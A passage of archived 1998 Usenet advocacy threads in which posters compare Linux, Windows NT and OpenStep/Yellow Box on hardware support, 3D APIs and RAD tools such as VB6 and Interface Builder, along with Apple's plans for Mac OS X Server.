> issue, but I like direct3d better because everyone has a card that supports
> it, so no one is excluded, and if there was only one api, then all the
> vendors could concentrate on making their card at doing direct3d. Everyone
> wins if there is one strong api, but I don't know if directx could be ported
> or not, so it's a pointless discussion. For now there is glide on linux,
> which means you can play glquake and (gl)quake2, but that's about it.
OpenGL is a better API for a number of reasons, and while it's true that
Direct3D has far better device coverage (100% versus something less), to
my knowledge the vast majority of new 3D cards have ICDs available at
shipping time, or within a few months of shipment (ha! there I go using
the "few months" phrase).
> I would imagine that linux and nt have a similar level of hardware support.
> I'm guessing that there is hardware supported by linux that isn't supported
> in nt and vice versa, but overall I imagine that nt has better support.
NT really has far better support for that card. It's a very popular
card, for instance, in the CAD market, and naturally it comes with
highly optimized drivers for CAD applications. It also has support for
resolution switching and other appearance controls; lots of other stuff.
I suppose the real point is that for what you (and 90% of other users)
do with the card the support looks identical.
> I
> have absolutely no numbers to back this assertion up, so it is just
> conjecture and I may be wrong. Linux supports an amazing number of devices.
> I use Openstep and Solaris, and in comparison linux hardware support is quite
> amazing.
I couldn't agree more. Still, I approach this from a different
direction. Rather than comparing Linux hardware support to other
alternative OSs, I find it compelling to compare Linux hardware support
to Windows hardware support. There's really a huge difference there, and
it's very unsettling.
MJP
Message-ID: <366A39E5.D9F03DBA@nstar.net>
Date: Sun, 06 Dec 1998 02:01:41 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74dae1$98q$1@camel21.mindspring.com> <74daj3$va6$1@camel21.mindspring.com> <74dbnb$2gq$1@camel21.mindspring.com>
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Matthew Cromer wrote:
[cut]
> >And Linux has plenty of GUI/RAD/4GL development tools available for it.
>
> I would love to learn about them and look into them.
GTK+ and Qt, based on C and C++, respectively. It's well-nigh impossible
to find an integrated language/GUI/IDE system on Linux, such as you're
accustomed to with VB.
The previous poster mentioned "tcl-perl-python/tk". Forget TCL right off
the bat; it's an extremely weak language, originally intended for very
very small programs (<500 lines). Python *is* a wonderful language for
object-oriented RAD, but it's generally used with the Tk interface kit.
Perl is my favorite, and it interfaces to Qt nicely with Ashley Winters'
bindings. Tk, itself, will seem very limited and cumbersome after having
used Win32's interface elements.
There isn't really anything on Linux that compares favorably with VB in
terms of polish and integration. There are, however, tools with
tremendous facility that you may find useful.
MJP
Message-ID: <366A3AE3.1B440E86@nstar.net>
Date: Sun, 06 Dec 1998 02:05:55 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76ka3m.fbg.treed@freeside.ultraviolet.org> <74dcc9$295$1@renpen.nelson.org>
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Bob Nelson wrote:
[cut]
> Bob Nelson -- Dallas, Texas, USA (bnelson@iname.com)
> http://www.oldradio.com/archives/nelson/open-computing.html
> ``Those who don't understand UNIX are condemned to reinvent it, poorly.''
True enough. Sadly, that sword cuts both ways. Watching Open Source
advocates reinvent the GUI, poorly, is every bit as painful to see as
watching Microsoft reinvent the operating system.
Nobody, in this industry, has a monopoly on stupidity.
MJP
(Also in Dallas, Texas!)
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 12:42:58 GMT
Organization: AOL http://www.aol.com
References: <74dae1$98q$1@camel21.mindspring.com>
Message-ID: <19981206074258.00943.00000641@ng-bw1.aol.com>
I said:
>>I'd suggest reading the OpenStep specification which is available from
>><www.gnustep.org>.
To which Matthew replied:
> I am curious as to why IB and OpenStep might be
>superior platforms.
>Perhaps someone can enlighten me.
Why don't you enlighten yourself by reading the above reference? Or was this
simply a troll?
There are also a lot of articles on programming with IB and Objective-C
available at <www.stepwise.com>
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: malcolm@plsys.co.uk
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sun, 06 Dec 1998 14:49:31 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74e5hr$f1m$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <ngroups-0512981112480001@192.168.100.102>
In article <ngroups-0512981112480001@192.168.100.102>,
ngroups@fizbin.com (Harry) wrote:
> In article <74bru4$lsb$1@nnrp1.dejanews.com>, malcolm@plsys.co.uk wrote:
>
> > What would be a problem is if Apple picked up NeXT's tendency for not
> > simply *ignoring* developers/whoever in non-target markets, but
> > actively discouraging or obstructing them.
>
> Why, you mean they (Apple) haven't done so in the past, and in a limited
> fashion, continue to do so now..?
>
Sorry, I can't parse that.
Let me restate: In the past NeXT did actively discourage or obstruct some
developers. I do not know whether Apple did this in the past, and an not
aware of their doing so at present. If they started doing this now, this
would be a Bad Thing. Actively obstructing developers means more than just
not giving out beta software.
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
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####################################################################
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Sun, 06 Dec 1998 15:13:32 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74e6us$g1t$1@nnrp1.dejanews.com>
References: <749taq$56b$1@nnrp1.dejanews.com> <B28EF705-2905C@206.165.43.151>
In article <B28EF705-2905C@206.165.43.151>,
"Lawson English" <english@primenet.com> wrote:
> malcolm@plsys.co.uk said:
>
> > I guess the Big Picture "perspective" is -- how well does GX's model
> > fit with the Model-View-Controller paradigm which is so successful in
> > YB (and which gives the foundation for the ease with which scripting
> > is added, cf document mentioned above).
>
> Um, I'm talking about scripting the drawing of objects from within a
> non-YB app.
>
And I'm talking about how easy it would be to include GX in YB, and the
extent to which it (GX) follows the MVC paradigm (or would allow developers
to do so).
> The point is that OLDER Macs can't use Yellow Box, and there are over 10
> million of them out there. The obvious thing to do would be create a
> Carbon GX-like API based on the graphics engine under Carbon.
>
No, the obvious thing to do is to tell these folks that *if* they need the
functionality that MacOS X (server) will provide, they need to buy new
computers.
mmalc.
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rovide
home tuition on aromatherapy. I can't wait for Mike P. to report on those
'phone calls.
> It is a powerful 2D graphics engine meant for 2D desktop
> publishing with the ability to edit 2D graphics and text after a
> perspective has been applied, not a 3D graphics library designed to work
> with a specific applications framework.
>
So what's the point of GX if we could have a proper 3DKit instead, which
requires far less effort to program, and produces better results?
I don't buy the argument about supporting 68K machines. I see little/no
point in Apple expending significant effort in supporting these systems. If
you do, then fine, you waste your own time. Others round here are rather
more Promethean.
mmalc.
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From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 10:27:15 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <74e7oj$m7c$1@crib.corepower.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com>
NNTP-Posting-Date: 6 Dec 1998 15:27:25 GMT
In article <74cjfv$ss3$1@samsara0.mindspring.com>, Matthew Cromer <matthew_cromer@iname.com> wrote:
> ActiveX is basically reuse of binary software components. There are a
> number of types of ActiveX components, from remote application invocation
> (ActiveX client and server), external procedure calls (ActiveX dlls) and
> finally ActiveX controls, which are literally parts of applications that
> are compiled binary objects that perform functions like textboxes, rtf
> textboxes, data access controls tying an application to odbc or other
> database drivers, video playback windows, and all kinds of other objects
> useful in application development. I believe in the old MacOS similar
> functions were provided by XFCNs and XCMDs with Hypercard, at least.
> I am wondering what kind of analogous parts are planned or exist for
> MacOS X.
That sort of thing is possible to do, and in an easier way than developing
ActiveX IMHO (though I'm not expert at ActiveX development), using the
Yellow Box (OpenStep) technology obtained from NeXT. The languages
natively supported are OOP languages, Objective-C and Java to be exact.
(Any Linux users reading this might want to read further to see the
kind of functionality that GNUstep is intended to offer. Most of the
capabilities, especially all of the transparency and ease-of-use, are
due to the dynamic object runtimes present in the supported languages,
which GNUstep fully leverages.)
For reuse of binary software components, there are "bundles". These are
directories that can contain fragments of executable code and related
non-executable resources (images, configuration files, etc). When an app
loads a bundle, the code contained within it _becomes_ part of the app,
completely seamlessly, as if it had been part of the original program --
they're nothing "external" about externally-loaded code. This makes
using bundles easy to use.
For distributed/remote interprocess communication, Portable Distributed
Objects is used. This is a distributed objects technology like CORBA
or what ActiveX can do, except it's much easier to use. If you want
to access a remote object running in another thread, application, or
application on another host, you simply have the remote object register
itself by name and then ask for it by name, and then you can use it
as if that object were part of your own app.
With other solutions, you have to mess around with generating skeletons
and stubs and other forms of code generating, rerunning the generator
when you update the interface to be exported, etc. Not so with PDO; the
runtime message dispatch systems of Objective-C and Java (which C++ lacks)
allow for completely transparent forwarding proxies to be constructed.
All you need is the header for the class of the object you're interfacing
with so the compiler doesn't give you warnings about unknown method names
-- but they're _warnings_, and you can even do without the header files
if you know what the methods are called.
Then, for developers there is also Interface Builder. This is a RAD
GUI builder. You simply drag icons (such as textboxes or video playback
views) off of "palettes" of objects and drop them into your interface;
if they're non-GUI objects (like database access controls, as are found
in Apple's Enterprise Objects Framework), you can drop them into an
appropriate area. You can directly customize the properties of the
objects by moving and resizing them, inspecting their properties, etc.
You can of course create new objects to be placed on palettes and
distribute your palettes to other developers.
You then drag connections between objects (be they GUI or non-GUI)
to establish messages that should be sent to each other upon certain
actions. You can actually do a fair deal of "programming" just by hooking
connections up to each other if your objects are rich enough.
Unlike some other GUI builders (like Visual C++ Developer Studio's
miserable excuse for a GUI builder), Interface Builder does not
generate code to create the interfaces you design; instead, it serializes
representations of all of the objects and their interconnections to a flat
file (called a NIB) from which they can be reconstructed, assuming that
all the binary code associated with their classes has been loaded into
the app (either by having the classes linked into the app at compile time,
or by adding new ones where necessary via runtime loading of bundles).
I've heard of developers who have actually had _users_ sit down with a
copy of Interface Builder and some custom palettes and tweak the interface
to their desired specification. It's that easy to use. The resulting
NIB file is then plopped back into the application and the new interface
takes effect the next time it's launched, without having to generate
or recompile any code at all (assuming they didn't add new objects of
classes that don't already exist in the application or its bundles).
I've actually used Interface Builder to correct the spelling in the UIs
of some quick-and-dirty public domain apps I've downloaded off the net,
to which the source was not available.
If you don't like Objective-C or Java, then you can buy TipTop's
Objective-Everything, which lets you use Perl, TCL, or Python.
(Dynamic OOP runtimes to the rescue again; the runtimes of the respective
programming languages are integrated almost seamlessly so that an object
in one language can be treated as an object in another, without any work
on your part.) You will be programming in an OOP style, though.
A new feature under development is AppleScript integration; someone who
develops a new object in one of the above languages can design and export
an AppleScript interface dictionary, so an AppleScript author can just
say something like `tell application "MoviePlayer" to play "foo.avi"',
and it will automatically establish a distributed objects connection
to the MoviePlayer application (launching the app if necessary), query
it to see if it implements the "play" action, and if so, execute it,
which can get forwarded to a custom movie-playing object.
You can also write whole little applications called "Services"
which export functionality to other applications in a high-level way.
For example, in a Compose window of a mail or news app, you can highlight
some text, go to the app's Services menu (this menu is present in
all Yellow Box applications), find the "Indent text" or "Quote text"
services exported by other applications, choose one, and then have
all of the selected text be replaced by an indented or quoted version.
There's a great application called "TickleServices" that lets you write
new services in TCL.
You don't even have to replace it with the same kind of data; I've seen
a service that will turn a TeX expression in an RTF document into an
embedded image representing that equation, or a service that will take
highlighted EUC/JIS-encoded text, convert it to PostScript, and launch a
PostScript viewer so you can read the Japanese characters, as a poor-man's
substitute when your mail/news program can't render such things natively.
You can even write "filter services" that extend the data types your
application can work with; if you have an application that can render
.gif's but not .jpeg's, someone can write a filter service that will
automatically get invoked if the app tries to read a .jpeg, and convert
it realtime into a .gif without the app even knowing.
> I believe that Java is using Javabeans and the like for this
> kind of functionality.
Java will of course be fully integrable with Yellow Box; you can drop
a Bean into an app using Interface Builder and have it Just Work.
> I am also wondering if there is any movement
> towards this sort of component architecture forthcoming in the Opensource
> world.
GNUstep is an open-source implementation of OpenStep. I'm sure there
are other projects under development or in design.
> Given the typical disdain for
> which much of the historical opensource movement holds for GUI/RAD
> development tools,
Actually, I think there's a large latent demand for that sort of thing
among many OSS developers, especially a RAD GUI creator at the IB-level
(such one that doesn't require code generation). I know I'd love to
see this sort of thing available on Linux in GNUstep.
From: rsarcomo@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Sun, 06 Dec 1998 15:19:25 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74e79s$gd1$1@nnrp1.dejanews.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74db9t$dja$1@camel21.mindspring.com> <74dbnb$2gq$1@camel21.mindspring.com> <74dc1b$4b9$1@camel21.mindspring.com>
In article <74dc1b$4b9$1@camel21.mindspring.com>,
Matthew Cromer <matthew_cromer@iname.com> wrote:
> In article <slrn76kcjc.io8.perrypip@apollo.netservers.com> Perry Pip,
> perrypip@my-dejanews.com writes:
> Well, the latest build of my work-in-progress VB app fits in 120K, for an
> app with (at this point) about 20 forms and probably 200 GUI components.
> That seems reasonable to me.
Uhhh... Maybe your exe file is 120k, but with the VB runtime
library(~1.3meg) and all of the dll's and ocx's behind those "200 GUI
components" your actual app is probably 10-20 times larger.
I do agree that RAD tools like VB are currently the best way to go for GUIs,
but I think the future is moving towards web based GUIs and away from fat
client VB-type apps. As far as web-based ActiveX controls and ActiveX
documents, these are a total sham and developer interest appears to be
waning. All that the web version of the ActiveX model does is download the
files from a web site, install the application to the local computer, and run
it within the browser. All of the hassles of locally installing software
such as registry settings, support file distribution (if you're using VB or
C++/MFC to write the controls) and versioning are still there.
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From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 6 Dec 1998 15:36:27 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74e89r$f8r@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net>
On Sat, 05 Dec 1998 19:09:54 -0600,
Michael J. Peck <mjpeck@nstar.net> wrote:
>What resources?! Amidst a sea of references to "resources" with no
>qualification, here is my guess: in the nearly 24 months since Apple
>bought NeXT, exactly one person, comfortable with Mach, BSD, and Linux,
>could have performed the BSD->Linux port of YB. Such a person could
>probably have completed it in far less than 24 months.
Would that same person have also resolved all the licensing issues around
DPS?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Replace my Next station ???
Date: 6 Dec 1998 15:36:30 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74e89u$f8r@news1.panix.com>
References: <749llu$ja$4@news.eunet.ch> <19981204194733.01052.00000101@ng-bw1.aol.com> <SCOTT.98Dec5033208@slave.doubleu.com>
On 5 Dec 98 03:32:08, Scott Hess <scott@nospam.doubleu.com> wrote:
>In article <19981204194733.01052.00000101@ng-bw1.aol.com>,
> willadams@aol.com (WillAdams) writes:
> Well, my vote would be for a high-end PC clone running OPENSTEP.
>
>Or just a moderate-end PC clone:
>
> $130 Celeron 333A (the one with 128K cache!)
WOW! $130! How does it compare to a real PII 333?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 6 Dec 1998 15:36:29 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74e89t$f8r@news1.panix.com>
References: <748vs5$rla@news1.panix.com> <749jgu$i32@ns2.alink.net> <74c6im$qa4@news1.panix.com> <3669D728.E1ED3020@nstar.net>
On Sat, 05 Dec 1998 19:00:24 -0600,
Michael J. Peck <mjpeck@nstar.net> wrote:
>Actually, Linux driver support is not as good as Windows NT's. It is
>often very difficult to install and configure Linux hardware drivers.
It is often very difficult to install and configure hardware drivers,
regardless of the platform you are using. Even install Dialogic d4x cards?
<<clip>>
>Finally, many Linux drivers are stable and functional, but are
>under-functional. A classic example is video. Linux (by way of XFree86)
>supports a fantastic number of video cards, but they are usually
>unaccelerated for 2D, and with few exceptions, are totally unaccelerated
>for 3D. On top of that, while low-level drivers may exist, hooks to
>higher-level, unified APIs (like audio, video, and miscellaneous codecs)
>are usually missing.
These are XFree86 problems, not Linux problems. You can buy a 3rd party
X11 with accelerated 2d and often accelerated 3d from a number of vendors.
>Take, for instance, the positional audio capabilities found in most
>recent audio cards. This is a genuinely useful and desirable feature,
>especially for gaming. Unfortunately, there are no drivers that support
>positional audio under Linux, nor are there APIs which could portably
>make use of such a feature.
NT support for these features must lag behind as well, seeing that NT
only supports DirectX3, which lacks most of the newer DirectSound APIs.
Even if an NT driver _supports_ positional audio, games that use dx,
may not use it.
Face it, PC Gameing == Win9x.
>Because Mac OS X Server has been marginalized by Apple, it will likely
>suffer from precisely the same pathologies (on Intel, perhaps on
>Macintoshes, as well).
You think that Apple is marginalizing Mac OS X Server because they won't
offer positional audio capabilities or HW OpenGL? You are aware that
Apple is calling it a _server_ OS aren't you?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 6 Dec 1998 15:36:28 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74e89s$f8r@news1.panix.com>
References: <748vs5$rla@news1.panix.com> <749jgu$i32@ns2.alink.net> <74c6im$qa4@news1.panix.com> <3669D728.E1ED3020@nstar.net> <UQla2.62$L52.130@news.rdc1.ne.home.com> <3669FB38.101AF3C1@nstar.net>
On Sat, 05 Dec 1998 21:34:16 -0600,
Michael J. Peck <mjpeck@nstar.net> wrote:
>This is classic Apple thinking. Apple waits for developers to create
>opportunities, then it supports them. It's the opposite approach,
>compared with the way Microsoft does it. Microsoft builds it, and they
>come. Game support on MacOS is a perfect example. Game Sprockets was
>*way* overdue when it finally arrived. Built-in OpenGL support will be
>*way* overdue if and when it finally arrives.
Huh?
Apple has _always_ done the "build it and they will come" approach. IIRC,
Game Sprockets was announced before directX. OpenDoc was another example.
Even Hypercard falls into this category. Who was selling an end user
tool for writing custom GUI software before Apple sold Hypercard?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 15:37:37 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74e8c1$f92@news1.panix.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FD63.5BD808D6@nstar.net> <366a1426.0@news.depaul.edu> <366a1773.0@news.cgocable.net> <74dae1$98q$1@camel21.mindspring.com>
On 6 Dec 1998 07:06:41 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
>In article <19981205200052.00946.00000365@ng-bw1.aol.com> WillAdams,
>willadams@aol.com writes:
>>As regards the advantages of graphical interface/programming tools--well, you
>>should take a look at InterfaceBuilder, unfortunately, GNUstep doesn't have an
>>equivalent yet, (though they are planning on it).
>
>As someone who is admittedly impressed with the VB6 IDE and extreme
>object-centered approach, I am curious as to why IB and OpenStep might be
>superior platforms.
>
>Perhaps someone can enlighten me.
Under IB+PB you use a MVC (model-view-controller) paradigm for development,
under VB (and just about every other RAD tool) you use a Document-Model
paradigm. Why is MVC better?
<mantra>
Painting GUIs is cheap, describing business logic is expensive.
</mantra>
Describing business logic requires you to sit in dozens of long and boring
meetings with department managers who are more concerned with covering their
asses, and insuring that the new App doesn't make their job obsolete then
that are about the quality of the App you are going to write. And business
logic _isn't_ static, it changes over time.
When designing a GUI under VB, you drop controls onto a form, then write the
code that controls it as part of that form. This makes it a lot easier to put
together a simple one form App, but in the long run, it reduces the ability
to re-use code. More often than not, new programmers mix the business logic
and GUI code throughout the form files, making it significantly harder to see
_where_ code can be re-used. After working in these tools for a while, a
skilled developer learns to avoid this by putting business logic into a
different .bas files. It takes an asserted effort to keep the GUI code from
cluttering the logic.
The model-view-controller paradigm used by OpenStep is much nicer. The GUI
parts have *no code* in them. All the code that the implements the business
logic is in the "controllers", that are "plug and socket" linked to the GUI
parts. It is often much easier to reuse these controllers with other GUI part
than it would be if the GUI code was mixed in with it. The true value of
this shows up on the *second* project you build with it. (and the third and
forth...)
You might want to go to the Apple web site and download the introduction to
OpenStep programming for some examples. (Compare the way the currency converter
is reused in the travel planning App to the way you might do it under VB and
I think you see my point)
From: Nils Zonneveld <nils@casema.net>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Sun, 06 Dec 1998 15:33:24 +0100
Organization: N.V. Casema Internet
Message-ID: <366A95B4.203317CA@casema.net>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76ka3m.fbg.treed@freeside.ultraviolet.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-2
Content-Transfer-Encoding: 7bit
Tracy R Reed wrote:
This is interesting. Personally I think that a Delphi kind of IDE on
Linux could be heaven on earth. I know that die-hards look at RAD with
disdain, but when I develop an application I prefer to focus on the user
instead of the machine. I'm not that skilful as a lot of Open Source
programmers, but I would like to program under Linux. PostgreSQL is
great, together with PHP, you can make great HTML driven apps. But it
would be nice to make some Xwin frontends too. And I have to admit that
I find C++ extremely complicated and incomprehensible, which is of
course due to my own lack of genius. It would be nice if there where
some RAD tools/ IDE's for linux with, let's say (totaly at random
ofcourse) object pascal as the engine. Maybe java is a good alternative
(but will it perform? etc.)
>
> And Linux has plenty of GUI/RAD/4GL development tools available for it.
This is interesting, where could I find these?
Thanks in advance,
Nils Zonneveld
> --
> Tracy Reed http://www.ultraviolet.org
> Linux: Opening doors and shattering Windows.
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 10:55:41 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <74e9dt$ma5$1@crib.corepower.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <366a1426.0@news.depaul.edu> <366a1773.0@news.cgocable.net> <74dae1$98q$1@camel21.mindspring.com>
NNTP-Posting-Date: 6 Dec 1998 15:56:07 GMT
In article <74dae1$98q$1@camel21.mindspring.com>, Matthew Cromer <matthew_cromer@iname.com> wrote:
> As someone who is admittedly impressed with the VB6 IDE and extreme
> object-centered approach, I am curious as to why IB and OpenStep might be
> superior platforms.
This is probably one of those things that you just have to experience to
understand -- once you've developed some OpenStep apps with IB.
For some of the reasons, though, see the other article I posted in this
thread in response to the original poster. A good place to learn about
OpenStep is the article archive on StepWise:
http://www.stepwise.com/Articles/
Some of the more useful articles are the business-related ones:
"The NeXT Order of Business: The Business of Interfaces"
"How OpenStep Powered a Nuclear Strike"
Technical ones:
"Freeze Dried Objects"
"Developer Impressions of Prelude to Rhapsody"
"Objectware Realities"
"Bundle Up for a Warm Reception"
"Pastries"
"Service Call"
"Hold Me, Use Me Free Me"
"Categorically Speaking"
"Talk To Me"
"Objective-C Posting and Categories in Rhapsody Development"
The HTMLedit series of tutorials describing step-by-step how to build
an HTML editor application:
"Working With NSDocument - A Practical Primer"
"HTMLEdit - Adding drag-and-drop and previewing"
"HTMLEdit - Using the new unified NSTextView Pasteboard API for drag-and-drop"
"HTMLEdit - Seek and you shall find"
"HTMLEdit - Do you have a preference?"
"HTMLEdit - At your service"
You also should look at the GNUstep site mentioned previously, as well as
Apple's developer documentation (including their tutorials in which they
describe how you build an app):
http://developer.apple.com/techpubs/macosxserver/macosxserver.html
Unfortunately, I've never played around with the OOP capabilities of
version 6 of VB so I can't compare it directly with OpenStep. I do
know that OpenStep has one of the best APIs I've seen and was designed
from the ground up to be fully and naturally OOP. It also tends to
scale better than VB; it's kind of the best-of-both-worlds, with many
of the OOP advantages (actually, many more advantages, IMHO), power,
and efficiency of C++ with much of the RAD functionality of VB (when
coupled with Interface Builder).
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-GVdDqqLGe7qi@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <749vtr$7b3@news1.panix.com>
MIME-Version: 1.0
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Date: 6 Dec 98 16:22:11 GMT
On Sat, 5 Dec 1998 00:48:59, sal@panix.com (Sal Denaro) thought aloud:
> On Fri, 04 Dec 1998 09:41:30 -0800, Harry <ngroups@fizbin.com> wrote:
> >Rumor has it that Apple will be releasing the Mac OSX APIs/GUI after the
> >release of Mac OS X server under the GPL (or something similar).
What rumours, and where?
> After spending $400 Mil on it? Don't think so.
That money bought Apple lots of things, incl. new management.
> What _might_ happen is that Apple would make the source code for the BSD
> and Mach portions of the OS available. Apple has already posted some source
> up on its developer web site, this would not be all that different.
I believe Apple would be wise to explore ways to release varying
degrees of YB source to potential licencees (companies, universities)
and the general Open Source community while keeping control of
compatibility and commercial licencing issues. If Apple keeps YB fully
proprietary chances are that it will never make a dent in the market
and Apple is left with a New Niche to live in. The way out of niche is
_compatibility_. YB and Linux could help propel both into world
domination. Faster. But with YB kept prorietary and without the Linux
synergy... only Linux will get there. And Apple's $400M investment in
NeXT and their technologies becomes just another chapter in a string
of wasted business opportunities. Think different.
Brgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-LuDhKRV0qMtT@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <199812052237331041835@ts5-41.aug.com>
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Date: 6 Dec 98 16:22:32 GMT
On Sun, 6 Dec 1998 03:37:33, nojunkhattonr@aug.com (Rick) thought
aloud:
> Michael J. Peck <mjpeck@nstar.net> wrote:
>
> > What resources?! Amidst a sea of references to "resources" with no
> > qualification, here is my guess: in the nearly 24 months since Apple
> > bought NeXT, exactly one person, comfortable with Mach, BSD, and Linux,
> > could have performed the BSD->Linux port of YB. Such a person could
> > probably have completed it in far less than 24 months.
>
> .... but why?? OS X will already have BSD underpinnings.., and there IS
> an x86 version of YB. Why do linux too?
>
> .... besides MKlinux...
Because of compatibility (w/ mainstream Linux distros)? Mindshare?
Potential marketshare? Potential access to the PC OEM preload market
with YB for Linux?
I'm just trying to see opportunities instead of threats. :-)
Brgds,
--
taiQ
[this space is intentionally blank]
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 16:28:35 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74ebbj$p66$1@samsara0.mindspring.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74e7oj$m7c$1@crib.corepower.com> <74e79s$gd1$1@nnrp1.dejanews.com> <74e7v2$m8b$1@crib.corepower.com>
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In article <74ddfd$slo$1@nnrp1.dejanews.com> , quinlan@intergate.bc.ca
writes:
>There isn't a one-to-one relationship between VB and RAD. There are RAD
>environment's which are very good. IB comes to mind.
I'm curious what some of the people here find lacking in VB6, making it a
"not so good" development environment.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 16:30:57 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74ebg1$pkq$1@samsara0.mindspring.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74e7oj$m7c$1@crib.corepower.com> <74e79s$gd1$1@nnrp1.dejanews.com> <74e7v2$m8b$1@crib.corepower.com>
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In article <slrn76kg72.4ac.jedi@dementia.mishnet> , jedi@dementia.mishnet
writes:
> Nextstep style programming where coding is actually done
> visually besides just thinking your enviroment is visual,
> using it as a bloated resource editor, & still doing the
> bulk of the coding yourself.
Can you give an example of this?
MC
